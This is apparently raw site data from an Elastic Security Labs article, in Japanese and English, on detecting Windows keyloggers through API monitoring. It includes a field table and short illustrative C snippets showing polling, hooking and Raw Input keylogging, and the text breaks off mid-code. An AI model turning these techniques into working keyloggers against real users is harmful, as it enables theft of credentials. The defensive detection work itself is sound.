API\\u306E\\u547C\\u3073\\u51FA\\u3057\\u306E\\u969B\\u306B\\u53D6\\u5F97\\u3057\\u3066\\u3044\\u308B\\u30C7\\u30FC\\u30BF\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"\\u5206\\u91CF\\u306E\\u90FD\\u5408\\u3067\\u3001\\u8FFD\\u52A0\\u3057\\u305F\\u3059\\u3079\\u3066\\u306E\\u691C\\u77E5\\u30EB\\u30FC\\u30EB\\u3068API\\u306E\\u8A73\\u7D30\\u306B\\u3064\\u3044\\u3066\\u306F\\u672C\\u8A18\\u4E8B\\u3067\\u306F\\u8AAC\\u660E\\u3057\\u307E\\u305B\\u3093\\u3002\\u3067\\u3059\\u304C\\u6700\\u5F8C\\u306B\\u3001\\u5BFE\\u8C61\\u306EWindows API\\u306E\\u547C\\u3073\\u51FA\\u3057\\u306E\\u969B\\u306BElastic Defend\\u5074\\u3067\\u53D6\\u5F97\\u3057\\u3066\\u3044\\u308B\\u30C7\\u30FC\\u30BF\\u306B\\u3064\\u3044\\u3066\\u3001\\u7C21\\u5358\\u306B\\u3054\\u7D39\\u4ECB\\u3057\\u307E\\u3059\\u3002\\u5404\\u9805\\u76EE\\u306B\\u3064\\u3044\\u3066\\u3055\\u3089\\u306B\\u77E5\\u308A\\u305F\\u3044\\u65B9\\u306F\\u3001\",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/endpoint-package/blob/main/custom_schemas/custom_api.yml\",rel:\"nofollow\",children:\"custom_api.yml\"}),\"\\u306B\\u8A18\\u8F09\\u3055\\u308C\\u3066\\u3044\\u308BElastic Common Schema\\uFF08ECS\\uFF09\\u3068\\u306E\\u30DE\\u30C3\\u30D4\\u30F3\\u30B0\\u3092\\u3054\\u53C2\\u7167\\u304F\\u3060\\u3055\\u3044\\u3002\"]}),`\n`,(0,n.jsx)(e.div,{className:\"table-container\",children:(0,n.jsxs)(e.table,{children:[(0,n.jsx)(e.thead,{children:(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.th,{children:\"API\\u540D\"}),(0,n.jsx)(e.th,{children:\"\\u30D5\\u30A3\\u30FC\\u30EB\\u30C9\"}),(0,n.jsx)(e.th,{children:\"\\u8AAC\\u660E(\\u539F\\u6587\\u3092\\u65E5\\u672C\\u8A9E\\u8A33\\u3057\\u305F\\u3082\\u306E)\"}),(0,n.jsx)(e.th,{children:\"\\u4F8B\"})]})}),(0,n.jsxs)(e.tbody,{children:[(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"GetAsyncKeyState\"}),(0,n.jsx)(e.td,{children:\"process.Ext.api.metadata.ms_since_last_keyevent\"}),(0,n.jsx)(e.td,{children:\"\\u3053\\u306E\\u30D1\\u30E9\\u30E1\\u30FC\\u30BF\\u30FC\\u306F\\u3001\\u6700\\u5F8C\\u306E GetAsyncKeyState \\u30A4\\u30D9\\u30F3\\u30C8\\u304B\\u3089\\u306E\\u7D4C\\u904E\\u6642\\u9593\\u3092\\u30DF\\u30EA\\u79D2\\u3067\\u793A\\u3057\\u307E\\u3059\\u3002\"}),(0,n.jsx)(e.td,{children:\"94\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"GetAsyncKeyState\"}),(0,n.jsx)(e.td,{children:\"process.Ext.api.metadata.background_callcount\"}),(0,n.jsx)(e.td,{children:\"\\u3053\\u306E\\u30D1\\u30E9\\u30E1\\u30FC\\u30BF\\u30FC\\u306F\\u3001\\u6700\\u5F8C\\u306B\\u6210\\u529F\\u3057\\u305F GetAsyncKeyState \\u547C\\u3073\\u51FA\\u3057\\u304B\\u3089\\u306E\\u9593\\u306B\\u884C\\u308F\\u308C\\u305F\\u3001\\u5931\\u6557\\u3057\\u305F\\u547C\\u3073\\u51FA\\u3057\\u3082\\u542B\\u3081\\u305F\\u3059\\u3079\\u3066\\u306E GetAsyncKeyState API \\u547C\\u3073\\u51FA\\u3057\\u306E\\u56DE\\u6570\\u3092\\u793A\\u3057\\u307E\\u3059\\u3002\"}),(0,n.jsx)(e.td,{children:\"6021\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"SetWindowsHookEx\"}),(0,n.jsx)(e.td,{children:\"process.Ext.api.parameters.hook_type\"}),(0,n.jsx)(e.td,{children:\"T\\u30A4\\u30F3\\u30B9\\u30C8\\u30FC\\u30EB\\u3059\\u308B\\u30D5\\u30C3\\u30AF\\u306E\\u7A2E\\u985E\"}),(0,n.jsx)(e.td,{children:'\"WH_KEYBOARD_LL\"'})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"SetWindowsHookEx\"}),(0,n.jsx)(e.td,{children:\"process.Ext.api.parameters.hook_module\"}),(0,n.jsx)(e.td,{children:\"\\u30D5\\u30C3\\u30AF\\u5148\\u306E\\u51E6\\u7406\\u3092\\u4FDD\\u6709\\u3059\\u308BDLL\"}),(0,n.jsx)(e.td,{children:'\"c:\\\\windows\\\\system32\\\\taskbar.dll\"'})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"SetWindowsHookEx\"}),(0,n.jsx)(e.td,{children:\"process.Ext.api.parameters.procedure\"}),(0,n.jsx)(e.td,{children:\"\\u30D5\\u30C3\\u30AF\\u5148\\u3068\\u306A\\u308B\\u51E6\\u7406\\u3084\\u95A2\\u6570\\u306E\\u30E1\\u30E2\\u30EA\\u30A2\\u30C9\\u30EC\\u30B9\"}),(0,n.jsx)(e.td,{children:\"2431737462784\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"SetWindowsHookEx\"}),(0,n.jsx)(e.td,{children:\"process.Ext.api.metadata.procedure_symbol\"}),(0,n.jsx)(e.td,{children:\"\\u30D5\\u30C3\\u30AF\\u5148\\u306E\\u51E6\\u7406\\u306E\\u8981\\u7D04\"}),(0,n.jsx)(e.td,{children:'\"taskbar.dll\"'})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"RegisterRawInputDevices\"}),(0,n.jsx)(e.td,{children:\"process.Ext.api.metadata.return_value\"}),(0,n.jsx)(e.td,{children:\"RegisterRawInputDevices API \\u547C\\u3073\\u51FA\\u3057\\u306E\\u623B\\u308A\\u5024\"}),(0,n.jsx)(e.td,{children:\"1\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"RegisterRawInputDevices\"}),(0,n.jsx)(e.td,{children:\"process.Ext.api.parameters.usage_page\"}),(0,n.jsx)(e.td,{children:\"\\u3053\\u306E\\u30D1\\u30E9\\u30E1\\u30FC\\u30BF\\u30FC\\u306F\\u30C7\\u30D0\\u30A4\\u30B9\\u306E\\u30C8\\u30C3\\u30D7\\u30EC\\u30D9\\u30EB\\u30B3\\u30EC\\u30AF\\u30B7\\u30E7\\u30F3\\uFF08Usage Page\\uFF09\\u3092\\u793A\\u3059\\u3002RAWINPUTDEVICE \\u69CB\\u9020\\u4F53\\u306E\\u6700\\u521D\\u306E\\u30E1\\u30F3\\u30D0\"}),(0,n.jsx)(e.td,{children:'\"GENERIC\"'})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"RegisterRawInputDevices\"}),(0,n.jsx)(e.td,{children:\"process.Ext.api.parameters.usage\"}),(0,n.jsx)(e.td,{children:\"\\u3053\\u306E\\u30D1\\u30E9\\u30E1\\u30FC\\u30BF\\u30FC\\u306F\\u3001Usage Page \\u5185\\u306E\\u7279\\u5B9A\\u306E\\u30C7\\u30D0\\u30A4\\u30B9\\uFF08Usage\\uFF09\\u3092\\u793A\\u3057\\u307E\\u3059\\u3002RAWINPUTDEVICE \\u69CB\\u9020\\u4F53\\u306E\\uFF12\\u756A\\u76EE\\u306E\\u30E1\\u30F3\\u30D0\"}),(0,n.jsx)(e.td,{children:'\"KEYBOARD\"'})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"RegisterRawInputDevices\"}),(0,n.jsx)(e.td,{children:\"process.Ext.api.parameters.flags\"}),(0,n.jsx)(e.td,{children:\"UsagePage\\u3068Usage\\u306B\\u3088\\u3063\\u3066\\u63D0\\u4F9B\\u3055\\u308C\\u308B\\u60C5\\u5831\\u3092\\u3069\\u306E\\u3088\\u3046\\u306B\\u89E3\\u91C8\\u3059\\u308B\\u304B\\u3092\\u6307\\u5B9A\\u3059\\u308B\\u30E2\\u30FC\\u30C9\\u30D5\\u30E9\\u30B0\\u3002RAWINPUTDEVICE \\u69CB\\u9020\\u4F53\\u306E\\uFF13\\u756A\\u76EE\\u306E\\u30E1\\u30F3\\u30D0\"}),(0,n.jsx)(e.td,{children:'\"INPUTSINK\"'})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"RegisterRawInputDevices\"}),(0,n.jsx)(e.td,{children:\"process.Ext.api.metadata.windows_count\"}),(0,n.jsx)(e.td,{children:\"\\u547C\\u3073\\u51FA\\u3057\\u5143\\u30B9\\u30EC\\u30C3\\u30C9\\u304C\\u6240\\u6709\\u3059\\u308B\\u30A6\\u30A3\\u30F3\\u30C9\\u30A6\\u306E\\u6570\"}),(0,n.jsx)(e.td,{children:\"2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"RegisterRawInputDevices\"}),(0,n.jsx)(e.td,{children:\"process.Ext.api.metadata.visible_windows_count\"}),(0,n.jsx)(e.td,{children:\"\\u547C\\u3073\\u51FA\\u3057\\u5143\\u30B9\\u30EC\\u30C3\\u30C9\\u304C\\u6240\\u6709\\u3059\\u308B\\u8868\\u793A\\u3055\\u308C\\u3066\\u3044\\u308B\\u30A6\\u30A3\\u30F3\\u30C9\\u30A6\\u306E\\u6570\"}),(0,n.jsx)(e.td,{children:\"0\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"RegisterRawInputDevices\"}),(0,n.jsx)(e.td,{children:\"process.Ext.api.metadata.thread_info_flags\"}),(0,n.jsx)(e.td,{children:\"\\u30B9\\u30EC\\u30C3\\u30C9\\u306E\\u60C5\\u5831\\u3092\\u8868\\u3059\\u30D5\\u30E9\\u30B0\"}),(0,n.jsx)(e.td,{children:\"16\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"RegisterRawInputDevices\"}),(0,n.jsx)(e.td,{children:\"process.Ext.api.metadata.start_address_module\"}),(0,n.jsx)(e.td,{children:\"\\u30B9\\u30EC\\u30C3\\u30C9\\u306E\\u958B\\u59CB\\u30A2\\u30C9\\u30EC\\u30B9\\u306B\\u7D10\\u3065\\u304F\\u30E2\\u30B8\\u30E5\\u30FC\\u30EB\\u306E\\u540D\\u524D\"}),(0,n.jsx)(e.td,{children:'\"C:\\\\Windows\\\\System32\\\\DellTPad\\\\ApMsgFwd.exe\"'})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"RegisterRawInputDevices\"}),(0,n.jsx)(e.td,{children:\"process.Ext.api.metadata.start_address_allocation_protection\"}),(0,n.jsx)(e.td,{children:\"\\u30B9\\u30EC\\u30C3\\u30C9\\u306E\\u958B\\u59CB\\u30A2\\u30C9\\u30EC\\u30B9\\u306B\\u7D10\\u3065\\u304F\\u30E1\\u30E2\\u30EA\\u4FDD\\u8B77\\u5C5E\\u6027\"}),(0,n.jsx)(e.td,{children:'\"RCX\"'})]})]})]})}),`\n`,(0,n.jsx)(e.h2,{id:\"\\u307E\\u3068\\u3081\",children:\"\\u307E\\u3068\\u3081\"}),`\n`,(0,n.jsx)(e.p,{children:\"\\u672C\\u8A18\\u4E8B\\u3067\\u306F\\u3001Elastic Defend 8.12\\u306B\\u3066\\u5C0E\\u5165\\u3055\\u308C\\u305F\\u3001Windows\\u74B0\\u5883\\u306B\\u304A\\u3051\\u308B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u304A\\u3088\\u3073\\u30AD\\u30FC\\u30ED\\u30AE\\u30F3\\u30B0\\u691C\\u77E5\\u6A5F\\u80FD\\u306B\\u3064\\u3044\\u3066\\u3054\\u7D39\\u4ECB\\u3057\\u307E\\u3057\\u305F\\u3002\\u5177\\u4F53\\u7684\\u306B\\u306F\\u3001\\u30AD\\u30FC\\u30ED\\u30AE\\u30F3\\u30B0\\u306B\\u95A2\\u9023\\u3059\\u308B\\u4EE3\\u8868\\u7684\\u306AWindows API\\u7FA4\\u306E\\u547C\\u3073\\u51FA\\u3057\\u3092\\u76E3\\u8996\\u3059\\u308B\\u3053\\u3068\\u3067\\u3001\\u30B7\\u30B0\\u30CD\\u30C1\\u30E3\\u306B\\u4F9D\\u5B58\\u3057\\u306A\\u3044\\u3001\\u632F\\u308B\\u821E\\u3044\\u691C\\u77E5\\u306B\\u3088\\u308B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u691C\\u51FA\\u3092\\u5B9F\\u73FE\\u3057\\u307E\\u3057\\u305F\\u3002\\u7CBE\\u5EA6\\u3092\\u9AD8\\u3081\\u3001\\u8AA4\\u691C\\u77E5\\u7387\\u3092\\u6E1B\\u3089\\u3059\\u305F\\u3081\\u306B\\u3001\\u6570\\u30F6\\u6708\\u306B\\u308F\\u305F\\u308B\\u7814\\u7A76\\u30FB\\u8ABF\\u67FB\\u3092\\u3082\\u3068\\u306B\\u3053\\u306E\\u6A5F\\u80FD\\u3068\\u65B0\\u3057\\u3044\\u30EB\\u30FC\\u30EB\\u3092\\u958B\\u767A\\u3057\\u307E\\u3057\\u305F\\u3002\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Elastic Defend\\u3067\\u306F\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u95A2\\u9023\\u306EAPI\\u4EE5\\u5916\\u306B\\u3082\\u3001\\u653B\\u6483\\u8005\\u306B\\u4E00\\u822C\\u7684\\u306B\\u5229\\u7528\\u3055\\u308C\\u308B\\u30E1\\u30E2\\u30EA\\u64CD\\u4F5C\\u7B49\\u306E\",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/doubling-down-etw-callstacks\",rel:\"nofollow\",children:\"API\\u7FA4\\u306A\\u3069\\u3082\\u76E3\\u8996\\u3059\\u308B\\u3053\\u3068\"}),\"\\u3067\\u3001\\u591A\\u5C64\\u7684\\u306A\\u9632\\u5FA1\\u3092\\u5B9F\\u73FE\\u3057\\u3066\\u304A\\u308A\\u307E\\u3059\\u3002Elastic Security \\u304A\\u3088\\u3073 Elastic Defend\\u306B\\u3064\\u3044\\u3066\\u6C17\\u306B\\u306A\\u3063\\u305F\\u65B9\\u306F\\u305C\\u3072\",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/jp/security\",rel:\"nofollow\",children:\"\\u88FD\\u54C1\\u30DA\\u30FC\\u30B8\"}),\"\\u3084\",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/jp/videos/intro-elastic-security\",rel:\"nofollow\",children:\"\\u30C9\\u30AD\\u30E5\\u30E1\\u30F3\\u30C8\"}),\"\\u3092\\u5FA1\\u89A7\\u9802\\u3051\\u308C\\u3070\\u5E78\\u3044\\u3067\\u3059\\u3002\"]})]})}function E(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(d,t)})):d(t)}var R=E;return _(k);})();\n;return Component;"},"_id":"articles/protecting-your-devices-from-information-theft-keylogger-protection-jp.mdx","_raw":{"sourceFilePath":"articles/protecting-your-devices-from-information-theft-keylogger-protection-jp.mdx","sourceFileName":"protecting-your-devices-from-information-theft-keylogger-protection-jp.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/protecting-your-devices-from-information-theft-keylogger-protection-jp"},"type":"Article","imageUrl":"/assets/images/protecting-your-devices-from-information-theft-keylogger-protection-jp/Security Labs Images 10.jpg","readingTime":"6 min read","series":"","url":"/protecting-your-devices-from-information-theft-keylogger-protection-jp","headings":[{"level":2,"title":"はじめに","href":"#はじめに"},{"level":3,"title":"キーロガーとはなにか?どのような危険性があるのか?","href":"#キーロガーとはなにかどのような危険性があるのか"},{"level":3,"title":"いかにして入力した文字を盗み取っているのか?","href":"#いかにして入力した文字を盗み取っているのか"},{"level":2,"title":"Windows API呼び出しを監視してキーロガーを検出する","href":"#windows-api呼び出しを監視してキーロガーを検出する"},{"level":3,"title":"監視するWindows API群:","href":"#監視するwindows-api群"},{"level":3,"title":"追加したキーロガー検知ルール一覧:","href":"#追加したキーロガー検知ルール一覧"},{"level":3,"title":"Windowsのキーロガーを検知する","href":"#windowsのキーロガーを検知する"},{"level":3,"title":"各Windows APIの呼び出しの際に取得しているデータ","href":"#各windows-apiの呼び出しの際に取得しているデータ"},{"level":2,"title":"まとめ","href":"#まとめ"}],"author":[{"title":"Asuka Nakajima","slug":"asuka-nakajima","description":"Senior Security Research Engineer, Elastic","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var i=Object.defineProperty;var j=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,l=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of f(e))!l.call(t,r)\u0026\u0026r!==n\u0026\u0026i(t,r,{get:()=\u003ee[r],enumerable:!(o=j(e,r))||o.enumerable});return t};var k=(t,e,n)=\u003e(n=t!=null?x(g(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),p=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=_((E,c)=\u003e{c.exports=_jsx_runtime});var C={};d(C,{default:()=\u003ey,frontmatter:()=\u003eM});var a=k(u()),M={title:\"Asuka Nakajima\",description:\"Senior Security Research Engineer, Elastic\",slug:\"asuka-nakajima\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function h(t={}){let{wrapper:e}=t.components||{};return e?(0,a.jsx)(e,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var y=h;return p(C);})();\n;return Component;"},"_id":"authors/asuka-nakajima.mdx","_raw":{"sourceFilePath":"authors/asuka-nakajima.mdx","sourceFileName":"asuka-nakajima.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/asuka-nakajima"},"type":"Author","imageUrl":"","url":"/authors/asuka-nakajima"}],"category":[{"title":"Security operations","slug":"security-operations","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},i=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of p(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var d=(t,e,n)=\u003e(n=t!=null?x(_(t)):{},i(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),y=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var u=j((b,c)=\u003e{c.exports=_jsx_runtime});var F={};l(F,{default:()=\u003eD,frontmatter:()=\u003eM});var r=d(u()),M={title:\"Security operations\",slug:\"security-operations\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var D=C;return y(F);})();\n;return Component;"},"_id":"categories/security-operations.mdx","_raw":{"sourceFilePath":"categories/security-operations.mdx","sourceFileName":"security-operations.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-operations"},"type":"Category","url":"/categories/security-operations"},{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"},{"title":"Detection science","slug":"detection-science","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var c=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)c(t,n,{get:e[n],enumerable:!0})},i=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026c(t,o,{get:()=\u003ee[o],enumerable:!(s=f(e,o))||s.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(d(t)):{},i(e||!t||!t.__esModule?c(n,\"default\",{value:t,enumerable:!0}):n,t)),D=t=\u003ei(c({},\"__esModule\",{value:!0}),t);var u=j((h,a)=\u003e{a.exports=_jsx_runtime});var X={};l(X,{default:()=\u003eF,frontmatter:()=\u003eM});var r=p(u()),M={title:\"Detection science\",slug:\"detection-science\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var F=C;return D(X);})();\n;return Component;"},"_id":"categories/detection-science.mdx","_raw":{"sourceFilePath":"categories/detection-science.mdx","sourceFileName":"detection-science.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/detection-science"},"type":"Category","url":"/categories/detection-science"}]},{"title":"Protecting your devices from information theft","slug":"protecting-your-devices-from-information-theft-keylogger-protection","date":"2024-05-30","description":"In this article, we will introduce the keylogger and keylogging detection features added this year to Elastic Defend (starting from version 8.12), which is responsible for endpoint protection in Elastic Security.","image":"Security Labs Images 10.jpg","subtitle":"Keylogger detection using Windows API behaviors","tags":["detection engineering","threat hunting","threat detection"],"body":{"raw":"\nIn this article, we will introduce the keylogger and keylogging detection features added this year to Elastic Defend (starting from [version 8.12](https://www.elastic.co/guide/en/security/8.12/release-notes-header-8.12.0.html#enhancements-8.12.0)), which is responsible for endpoint protection in Elastic Security. This article is also available in [Japanese](https://www.elastic.co/security-labs/protecting-your-devices-from-information-theft-keylogger-protection-jp).\n\n## Introduction\n\nStarting with Elastic Defend 8.12, we have enhanced the detection of keyloggers and malware with keylogging capabilities (such as information-stealing malware or remote access trojans, better known as RATs) on Windows by monitoring and recording the calls to representative Windows APIs used by keyloggers. This publication will focus on providing a detailed technical background of this new feature. Additionally, we will introduce the new prebuilt behavioral detection rules created in conjunction with this feature.\n\n### What is a keylogger and what are their risks?\n\nA keylogger is a type of software that monitors and records the keystrokes entered on a computer (※1). While keyloggers can be used for legitimate purposes such as user monitoring, they are frequently abused by malicious actors. Specifically, they are used to steal sensitive information such as authentication credentials, credit card details, and various confidential data entered through the keyboard. (※1: While there are hardware keyloggers that can be attached directly to a PC via USB, this article focuses on software keyloggers.)\n\nThe sensitive information obtained through keyloggers can be exploited for monetary theft or as a stepping stone for further cyber attacks. Therefore, although keylogging itself does not directly damage the computer, early detection is crucial to preventing subsequent, more invasive cyber attacks.\n\nThere are many types of malware with keylogging capabilities, particularly RATs, information stealers, and banking malware. Some well-known malware with keylogging functionality includes [Agent Tesla](https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla), [LokiBot](https://malpedia.caad.fkie.fraunhofer.de/details/apk.lokibot), and [SnakeKeylogger](https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger).\n\n### How are keystrokes stolen?\n\nNext, let's explain from a technical perspective how keyloggers function without being detected. While keyloggers can be used within various operating system environments (Windows/Linux/macOS and mobile devices), this article will focus on Windows keyloggers. Specifically, we will describe four distinct types of keyloggers that capture keystrokes using Windows APIs and functions (※2).\n\nAs a side note, the reason for explaining keylogging methods here is to deepen the understanding of the new detection features introduced in the latter half of this article. Therefore, the example code provided is for illustrative purposes only and is not intended to be executable as is (※3).\n\n(※2: Keyloggers running on Windows can be broadly divided into those installed in kernel space (OS side) and those installed in the same space as regular applications (user space). This article focuses on the latter type.)\n(※3: If a keylogger is created and misused based on the example code provided below, Elastic will not be responsible for any consequences.)\n\n 1. Polling-based keylogger\n\nThis type of keylogger polls or periodically checks the state of each key on the keyboard (whether the key is pressed) at short intervals (much shorter than one second). If a keylogger detects that a new key has been pressed since the last check, it records and saves the information of the pressed key. By repeating this process, the keylogger captures the characters entered by the user.\n\nPolling-based keyloggers are implemented using Windows APIs that check the state of key inputs, with the [```GetAsyncKeyState```](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getasynckeystate) API being a representative example. This API can determine whether a specific key is currently pressed and whether that key has been pressed since the last API call. Below is a simple example of a polling-based keylogger using the ```GetAsyncKeyState``` API:\n\n``` c\nwhile(true)\n{\n for (int key = 1; key \u003c= 255; key++)\n {\n if (GetAsyncKeyState(key) \u0026 0x01)\n {\n SaveTheKey(key, \"log.txt\");\n }\n }\n Sleep(50);\n}\n```\n\nThe method of polling (```GetAsyncKeyState```) to capture key press states is not only a well-known, classic keylogging technique, but it is also commonly used by malware today.\n\n 2. Hooking-based keylogger\n \nHooking-based keyloggers, like polling-based keyloggers, are a classic type that has been around for a long time. Let's first explain what a \"hook\" is.\n\nA hook is a mechanism that allows you to insert custom processing (custom code) into specific operations of an application. Using a hook to insert custom processing is known as \"hooking.\"\n\nWindows provides a mechanism that allows you to hook messages (events) such as key inputs to an application, and this can be utilized through the [```SetWindowsHookEx```](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexw) API. Below is a simple example of a hooking-based keylogger using the ```SetWindowsHookEx``` API:\n\n``` c\nHMODULE hHookLibrary = LoadLibraryW(L\"hook.dll\");\nFARPROC hookFunc = GetProcAddress(hHookLibrary, \"SaveTheKey\");\n\nHHOOK keyboardHook = NULL;\n \nkeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL,\n (HOOKPROC)hookFunc,\n hHookLibrary,\n 0);\n```\n\n 3. Keylogger using the Raw Input Model\n \nThis type of keylogger captures and records raw input data obtained directly from input devices like keyboards. Before delving into the details of this type of keylogger, it's essential to understand the \"Original Input Model\" and \"Raw Input Model\" in Windows. Here's an explanation of each input method:\n\n - **Original Input Model**: The data entered from input devices like keyboards is processed by the OS before being delivered to the application.\n - **Raw Input Model**: The data entered from input devices is received directly by the application without any intermediate processing by the OS.\n \nInitially, Windows only used the Original Input Model. However, with the introduction of Windows XP, the Raw Input Model was added, likely due to the increasing diversity of input devices. In the Raw Input Model, the [```RegisterRawInputDevices```](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-registerrawinputdevices) API is used to register the input devices from which you want to receive raw data directly. Subsequently, the [```GetRawInputData```](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getrawinputdata) API is used to obtain the raw data.\n\nBelow is a simple example of a keylogger using the Raw Input Model and these APIs:\n\n``` c\nLRESULT CALLBACK WndProc(HWND hWnd, UINT uMessage, WPARAM wParam, LPARAM lParam)\n{\n\n UINT dwSize = 0;\n RAWINPUT* buffer = NULL;\n\n switch (uMessage)\n {\n case WM_CREATE:\n RAWINPUTDEVICE rid;\n rid.usUsagePage = 0x01; // HID_USAGE_PAGE_GENERIC\n rid.usUsage = 0x06; // HID_USAGE_GENERIC_KEYBOARD\n rid.dwFlags = RIDEV_NOLEGACY | RIDEV_INPUTSINK;\n rid.hwndTarget = hWnd;\n RegisterRawInputDevices(\u0026rid, 1, sizeof(rid));\n break;\n case WM_INPUT:\n GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, \u0026dwSize, sizeof(RAWINPUTHEADER));\n\n buffer = (RAWINPUT*)HeapAlloc(GetProcessHeap(), 0, dwSize);\n\n if (GetRawInputData((HRAWINPUT)lParam, RID_INPUT, buffer, \u0026dwSize, sizeof(RAWINPUTHEADER)))\n {\n if (buffer-\u003eheader.dwType == RIM_TYPEKEYBOARD)\n {\n SaveTheKey(buffer, \"log.txt\");\n }\n }\n HeapFree(GetProcessHeap(), 0, buffer);\n break;\n default:\n return DefWindowProc(hWnd, 